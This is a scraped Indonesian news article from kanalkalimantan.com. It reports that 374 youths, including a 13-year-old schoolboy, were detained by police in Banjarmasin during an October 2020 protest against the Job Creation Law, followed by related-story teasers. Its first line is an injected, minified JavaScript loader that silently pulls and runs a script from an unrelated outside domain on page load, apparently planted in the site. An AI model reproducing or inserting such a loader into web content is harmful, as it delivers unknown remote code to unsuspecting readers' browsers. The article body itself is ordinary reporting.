(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pada aksi demonstrasi susulan penolakan Undang-Undang Cipta Kerja pada Kamis (15/10/2020) siang kemarin, tercatat ada 374 remaja gagal menyelinap ke aksi massa setelah diamankan polisi.
Mereka sempat diinapkan di kantor polisi selama satu malam sebelum dijemput orangtua masing-masing, 270 remaja diamankan oleh aparat Polda Kalsel dan 104 remaja lainnya digiring ke Polresta Banjarmasin, pendataan pihak kepolisian mereka berusia di antara umur 13 tahun hingga 25 tahun.
Dari 374 remaja yang diamankan, 13 orang diantaranya merupakan remaja perempuan. Selebihnya, merupakan remaja laki-laki. Menariknya, dari 374 remaja yang diinapkan satu malam di markas polisi, ada satu anak kecil berusia 13 tahun ikut di dalamnya. Anak kecil ini mengaku masih duduk di kelas enam SD.
“Ada teman saya mengajak untuk ikut, Katanya ramai, jadinya saya ikut,” kata anak kecil berinisial A ini. Warga jalan Belitung Darat Gang Keluarga, Kota Banjarmasin ini mengaku, ikut serta turun ke jalanan bersama temannya. Ia sendiri tinggal bersama neneknya, yang diakuinya tidak mengetahui ia diamankan oleh aparat kepolisian.
“Nenek tidak tahu saya diamankan polisi. Tidak tahu siapa yang jemput saya,” imbuh A. Di sisi lain, salah satu remaja yang diamankan berinsial MK mengaku mengikuti aksi demonstrasi bersama mahasiswa berdalih karena empati. ML sendiri mengaku baru lulus pendidikan sekolah menengah kejuruan (SMK).
“Saya ikut demonstrasi kemarin murni pribadi,” kata MK. Ditanya soal niat untuk mengikuti aksi demonstrasi kemarin, MK malah berkelit. Ia mengaku hanya permasalahan gaji saja yang ia ketahui.
“Yang saya tahu cuma masalah gaji saja. Karena saya saat ini cari kerjaan,” pungkas MK. (kanalkalimantan.com/fikri)
Reporter: Fikri
Editor: Bie
KANALKALIMANTAN.COM, MARTAPURA - Selain menyerahkan langsung bantuan keperluan masyarakat terdampak banjir Pemerintah Kabupaten Banjar juga… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir yang melanda Desa Gudang Hirang, Kecamatan Sungaitabuk, Kabupaten Banjar menggenangi sejumlah… Read More
KANALKALIMANTAN.COM, YOGYAKARTA - Ada tempat yang tidak perlu banyak kata untuk membuat orang betah. Begitu… Read More
KANALKALIMANTAN.COM, MARTAPURA – Banjir setinggi lutut orang dewasa menggenangi seluruh jalan di Komplek Antasari Perdana… Read More
KANALKALIMANTAN.COM, MARTAPURA - Banjir di Kabupaten Banjar masih belum menunjukkan penurunan ketinggian air secara signifikan,… Read More
Upah Minimum Provinsi (UMP) Kalimantan Timur 2026 telah ditetapkan dan ditandatangani oleh Gubernur Rudy Mas’ud… Read More
This website uses cookies.